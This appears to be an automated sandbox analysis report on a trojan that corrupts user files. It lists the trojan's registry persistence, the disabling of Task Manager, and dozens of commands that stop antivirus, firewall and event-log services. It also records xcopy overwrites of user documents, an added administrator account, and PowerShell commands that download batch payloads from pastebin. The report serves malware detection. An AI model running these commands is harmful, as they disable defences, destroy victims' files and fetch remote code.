Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'rundll32_10574_toolbar' = '%TEMP%\cmd.bat'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'AVAADA' = '%WINDIR%\.bat'
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
Executes the following
- '<SYSTEM32>\net.exe' stop "WinDefend"
- '<SYSTEM32>\net.exe' stop "*Symantec*" /y
- '<SYSTEM32>\net.exe' stop "*McAfee*" /y
- '<SYSTEM32>\net.exe' stop ccPwdSvc /y
- '<SYSTEM32>\net.exe' stop "Serv-U" /y
- '<SYSTEM32>\net.exe' stop "norton AntiVirus Client" /y
- '<SYSTEM32>\net.exe' stop "Symantec AntiVirus Client" /y
- '<SYSTEM32>\net.exe' stop "norton AntiVirus Server" /y
- '<SYSTEM32>\net.exe' stop "NAV Alert" /y
- '<SYSTEM32>\net.exe' stop "Nav Auto-Protect" /y
- '<SYSTEM32>\net.exe' stop "McShield" /y
- '<SYSTEM32>\net.exe' stop "DefWatch" /y
- '<SYSTEM32>\net.exe' stop eventlog /y
- '<SYSTEM32>\net.exe' stop InoRPC /y
- '<SYSTEM32>\net.exe' stop "Symantec SPBBCSvc" /y
- '<SYSTEM32>\net.exe' stop InoRT /y
- '<SYSTEM32>\net.exe' stop "norton AntiVirus Corporate Edition" /y
- '<SYSTEM32>\net.exe' stop "ViRobot Professional Monitoring" /y
- '<SYSTEM32>\net.exe' stop "PC-cillin Personal Firewall" /y
- '<SYSTEM32>\net.exe' stop "Trend Micro Proxy Service" /y
- '<SYSTEM32>\net.exe' stop "Trend NT Realtime Service" /y
- '<SYSTEM32>\net.exe' stop "McAfee.com McShield" /y
- '<SYSTEM32>\net.exe' stop "McAfee.com VirusScan Online Realtime Engine" /y
- '<SYSTEM32>\net.exe' stop "SyGateService" /y
- '<SYSTEM32>\net.exe' stop "Sophos Anti-Virus" /y
- '<SYSTEM32>\net.exe' stop "Sophos Anti-Virus Network" /y
- '<SYSTEM32>\net.exe' stop "eTrust Antivirus Job Server" /y
- '<SYSTEM32>\net.exe' stop "eTrust Antivirus Realtime Server" /y
- '<SYSTEM32>\net.exe' stop "eTrust Antivirus RPC Server" /y
- '<SYSTEM32>\net.exe' stop ERSvc /y
- '<SYSTEM32>\net.exe' stop "*norton*" /y
- '<SYSTEM32>\net.exe' stop helpsvc /y
- '<SYSTEM32>\net.exe' stop "McAfeeAntiSpyware" /y
- '<SYSTEM32>\net.exe' stop mcupdmgr.exe /y
- '<SYSTEM32>\net.exe' stop "wuauserv"
- '<SYSTEM32>\net.exe' stop "security center"
- '<SYSTEM32>\net.exe' stop sharedaccess
- '<SYSTEM32>\netsh.exe' firewall set opmode mode-disable
- '<SYSTEM32>\net.exe' stop "Security Center" /y
- '<SYSTEM32>\net.exe' stop "Automatic Updates" /y
- '<SYSTEM32>\net.exe' stop "Symantec Core LC" /y
- '<SYSTEM32>\net.exe' stop "SAVScan" /y
- '<SYSTEM32>\net.exe' stop "norton AntiVirus Firewall Monitor Service" /y
- '<SYSTEM32>\net.exe' stop "norton AntiVirus Auto-Protect Service" /y
- '<SYSTEM32>\net.exe' stop "norton AntiVirus Auto Protect Service" /y
- '<SYSTEM32>\net.exe' stop "McAfee Spamkiller Server" /y
- '<SYSTEM32>\net.exe' stop "McAfee Personal Firewall Service" /y
- '<SYSTEM32>\net.exe' stop netsvcs
- '<SYSTEM32>\net.exe' stop InoTask /y
- '<SYSTEM32>\net.exe' stop "McAfee SecurityCenter Update Manager" /y
- '<SYSTEM32>\net.exe' stop navapsvc /y
- '<SYSTEM32>\net.exe' stop "Sygate Personal Firewall Pro" /y
- '<SYSTEM32>\net.exe' stop vrmonsvc /y
- '<SYSTEM32>\net.exe' stop MonSvcNT /y
- '<SYSTEM32>\net.exe' stop SAVScan /y
- '<SYSTEM32>\net.exe' stop NProtectService /y
- '<SYSTEM32>\net.exe' stop ccSetMGR /y
- '<SYSTEM32>\net.exe' stop ccEvtMGR /y
- '<SYSTEM32>\net.exe' stop srservice /y
- '<SYSTEM32>\net.exe' stop "Symantec Network Drivers Service" /y
- '<SYSTEM32>\net.exe' stop "norton Unerase Protection" /y
- '<SYSTEM32>\net.exe' stop MskService /y
- '<SYSTEM32>\net.exe' stop MpfService /y
- '<SYSTEM32>\taskkill.exe' /f /t /im "MSASCui.exe"
- '<SYSTEM32>\net.exe' stop "Ahnlab Task Scheduler" /y
- '<SYSTEM32>\net.exe' stop spoolnt
Terminates or attempts to terminate
the following user processes:
- iexplore.exe
Modifies file system
Creates the following files
- %TEMP%\cmd.bat
- %HOMEPATH%\noint.bat
- nul
- C:\autoexec.bat
- %HOMEPATH%\desktop\random.txt
- %HOMEPATH%\documents\random.txt
- %HOMEPATH%\music\random.txt
- %HOMEPATH%\pictures\random.txt
- %HOMEPATH%\videos\random.txt
- %HOMEPATH%\downloads\random.txt
Sets the 'hidden' attribute to the following files
- %TEMP%\cmd.bat
Moves the following files
- from %HOMEPATH%\documents\random.txt to %HOMEPATH%\documents\c0pe-260053259.c0pe
- from %HOMEPATH%\music\random.txt to %HOMEPATH%\music\c0pe-137215284.c0pe
- from %HOMEPATH%\pictures\random.txt to %HOMEPATH%\pictures\c0pe-107165994.c0pe
- from %HOMEPATH%\videos\random.txt to %HOMEPATH%\videos\c0pe-2398725552.c0pe
Modifies the following files
- %HOMEPATH%\desktop\508softwareandos.doc
- %HOMEPATH%\desktop\browse.htm
- %HOMEPATH%\desktop\contoso_1.cer
- %HOMEPATH%\desktop\dashborder_144.bmp
- %HOMEPATH%\desktop\icq.lnk
- %HOMEPATH%\desktop\telegram.lnk
- %HOMEPATH%\desktop\delete.avi
- %HOMEPATH%\desktop\dial.bmp
- %HOMEPATH%\desktop\fi51.doc
- %HOMEPATH%\desktop\lisp_success.doc
- %HOMEPATH%\desktop\qip 2012.lnk
- %HOMEPATH%\desktop\random.txt
- %HOMEPATH%\desktop\sdszfo.docx
- %HOMEPATH%\desktop\split.avi
- %HOMEPATH%\desktop\tree_view.htm
- %HOMEPATH%\desktop\utorrent.exe
Modifies user data files (Trojan.Encoder).
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Executes the following
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\cmd.bat" "
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\february_catalogue__2015.doc
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\dial.bmp
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\delete.avi
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\dashBorder_144.bmp
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\contoso_1.cer
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\browse.htm
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\508softwareandos.doc
- '<SYSTEM32>\tskill.exe' WINWORD
- '<SYSTEM32>\tskill.exe' outlook
- '<SYSTEM32>\tskill.exe' mspaint
- '<SYSTEM32>\tskill.exe' safari
- '<SYSTEM32>\tskill.exe' msaccess
- '<SYSTEM32>\tskill.exe' calc
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\fi51.doc
- '<SYSTEM32>\tskill.exe' iTunes
- '<SYSTEM32>\tskill.exe' msnmsgr
- '<SYSTEM32>\tskill.exe' iexplore
- '<SYSTEM32>\net1.exe' stop spoolnt
- '<SYSTEM32>\net1.exe' stop netsvcs
- '<SYSTEM32>\net1.exe' stop "eTrust Antivirus RPC Server" /y
- '<SYSTEM32>\net1.exe' stop "eTrust Antivirus Realtime Server" /y
- '<SYSTEM32>\net1.exe' stop "eTrust Antivirus Job Server" /y
- '<SYSTEM32>\net1.exe' stop "Sophos Anti-Virus Network" /y
- '<SYSTEM32>\net1.exe' stop "Sophos Anti-Virus" /y
- '<SYSTEM32>\net1.exe' stop "SyGateService" /y
- '<SYSTEM32>\net1.exe' stop "McAfee.com VirusScan Online Realtime Engine" /y
- '<SYSTEM32>\net1.exe' stop "McAfee.com McShield" /y
- '<SYSTEM32>\net1.exe' stop "Trend NT Realtime Service" /y
- '<SYSTEM32>\tskill.exe' excel
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\hadac_newsletter_july_2010_final.docx
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\ICQ.lnk
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\lisp_success.doc
- '<SYSTEM32>\notepad.exe' %HOMEPATH%\Desktop\ReadMe.txt
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\winamp5666_full_all.exe
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\Thunderbird Setup 31.6.0.exe
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\tcmd851ax64.exe
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\SteamSetup.exe
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\random.txt
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\pidgin-2.10.11.exe
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\Opera_NI_stable.exe
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\mirc741.exe
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\magent_rfrset.exe
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\K-Lite_Codec_Pack_1110_Mega_dlm.exe
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\K-Lite_Codec_Pack_1110_Mega.exe
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\jre-8u45-windows-x64.exe
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\icq_rfrset.exe
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Downloads\ChromeSetup.exe
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Videos\random.txt
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Pictures\random.txt
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Music\random.txt
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Documents\random.txt
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\utorrent.exe
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\tree_view.htm
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\Total Commander 64 bit.lnk
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\Telegram.lnk
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\split.avi
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\sdszfo.docx
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\random.txt
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\QIP 2012.lnk
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\nwfieldnotes1966.docx
- '<SYSTEM32>\xcopy.exe' /y random.txt %HOMEPATH%\Desktop\Mail.Ru Agent.lnk
- '<SYSTEM32>\net1.exe' stop "Trend Micro Proxy Service" /y
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest https://pastebin.com/raw/T9sHxNbG -outfile C0peN0te.bat"
- '<SYSTEM32>\net1.exe' stop "PC-cillin Personal Firewall" /y
- '<SYSTEM32>\net1.exe' stop "norton AntiVirus Corporate Edition" /y
- '<SYSTEM32>\net1.exe' stop "Ahnlab Task Scheduler" /y
- '<SYSTEM32>\net1.exe' stop "Symantec SPBBCSvc" /y
- '<SYSTEM32>\net1.exe' stop "McAfee SecurityCenter Update Manager" /y
- '<SYSTEM32>\net1.exe' stop "McAfee Personal Firewall Service" /y
- '<SYSTEM32>\net1.exe' stop "McAfee Spamkiller Server" /y
- '<SYSTEM32>\net1.exe' stop "norton AntiVirus Auto Protect Service" /y
- '<SYSTEM32>\net1.exe' stop "norton AntiVirus Auto-Protect Service" /y
- '<SYSTEM32>\net1.exe' stop "norton AntiVirus Firewall Monitor Service" /y
- '<SYSTEM32>\net1.exe' stop "SAVScan" /y
- '<SYSTEM32>\net1.exe' stop "Symantec Core LC" /y
- '<SYSTEM32>\net1.exe' stop "Automatic Updates" /y
- '<SYSTEM32>\net1.exe' stop "Security Center" /y
- '<SYSTEM32>\net1.exe' stop sharedaccess
- '<SYSTEM32>\net1.exe' stop navapsvc /y
- '<SYSTEM32>\net1.exe' stop "security center"
- '<SYSTEM32>\rundll32.exe' user32.dll,SetCursorPos
- '<SYSTEM32>\net1.exe' stop "WinDefend"
- '<SYSTEM32>\cmd.exe'
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d %WINDIR%\.bat /f
- '<SYSTEM32>\reg.exe' add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v "rundll32_10574_toolbar" /t "REG_SZ" /d "%TEMP%\cmd.bat" /f
- '<SYSTEM32>\scrnsave.scr' /s
- '<SYSTEM32>\net1.exe' localgroup administrators session /ADD
- '<SYSTEM32>\net.exe' localgroup administrators session /ADD
- '<SYSTEM32>\rundll32.exe' USER32.DLL SwapMouseButton
- '<SYSTEM32>\cmd.exe' /K NoInt.bat
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-ExecutionPolicy Unrestricted"
- '<SYSTEM32>\attrib.exe' +h +s "%TEMP%\cmd.bat"
- '<SYSTEM32>\net1.exe' stop "wuauserv"
- '<SYSTEM32>\net1.exe' stop "Sygate Personal Firewall Pro" /y
- '<SYSTEM32>\net1.exe' stop vrmonsvc /y
- '<SYSTEM32>\net1.exe' stop MonSvcNT /y
- '<SYSTEM32>\net1.exe' stop InoTask /y
- '<SYSTEM32>\net1.exe' stop InoRT /y
- '<SYSTEM32>\net1.exe' stop InoRPC /y
- '<SYSTEM32>\net1.exe' stop eventlog /y
- '<SYSTEM32>\net1.exe' stop "DefWatch" /y
- '<SYSTEM32>\net1.exe' stop "McShield" /y
- '<SYSTEM32>\net1.exe' stop "Nav Auto-Protect" /y
- '<SYSTEM32>\net1.exe' stop "NAV Alert" /y
- '<SYSTEM32>\net1.exe' stop "norton AntiVirus Server" /y
- '<SYSTEM32>\net1.exe' stop "Symantec AntiVirus Client" /y
- '<SYSTEM32>\net1.exe' stop "norton AntiVirus Client" /y
- '<SYSTEM32>\net1.exe' stop "Serv-U" /y
- '<SYSTEM32>\net1.exe' stop ccPwdSvc /y
- '<SYSTEM32>\net1.exe' stop "*McAfee*" /y
- '<SYSTEM32>\net1.exe' stop "*Symantec*" /y
- '<SYSTEM32>\net1.exe' stop "*norton*" /y
- '<SYSTEM32>\net1.exe' stop ERSvc /y
- '<SYSTEM32>\net1.exe' stop helpsvc /y
- '<SYSTEM32>\net1.exe' stop "McAfeeAntiSpyware" /y
- '<SYSTEM32>\net1.exe' stop mcupdmgr.exe /y
- '<SYSTEM32>\net1.exe' stop MpfService /y
- '<SYSTEM32>\net1.exe' stop MskService /y
- '<SYSTEM32>\net1.exe' stop "norton Unerase Protection" /y
- '<SYSTEM32>\net1.exe' stop "Symantec Network Drivers Service" /y
- '<SYSTEM32>\net1.exe' stop srservice /y
- '<SYSTEM32>\net1.exe' stop ccEvtMGR /y
- '<SYSTEM32>\net1.exe' stop ccSetMGR /y
- '<SYSTEM32>\net1.exe' stop NProtectService /y
- '<SYSTEM32>\net1.exe' stop SAVScan /y
- '<SYSTEM32>\net1.exe' stop "ViRobot Professional Monitoring" /y
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest https://pastebin.com/raw/mkg30sm4 -outfile G0nnaL0g.bat"
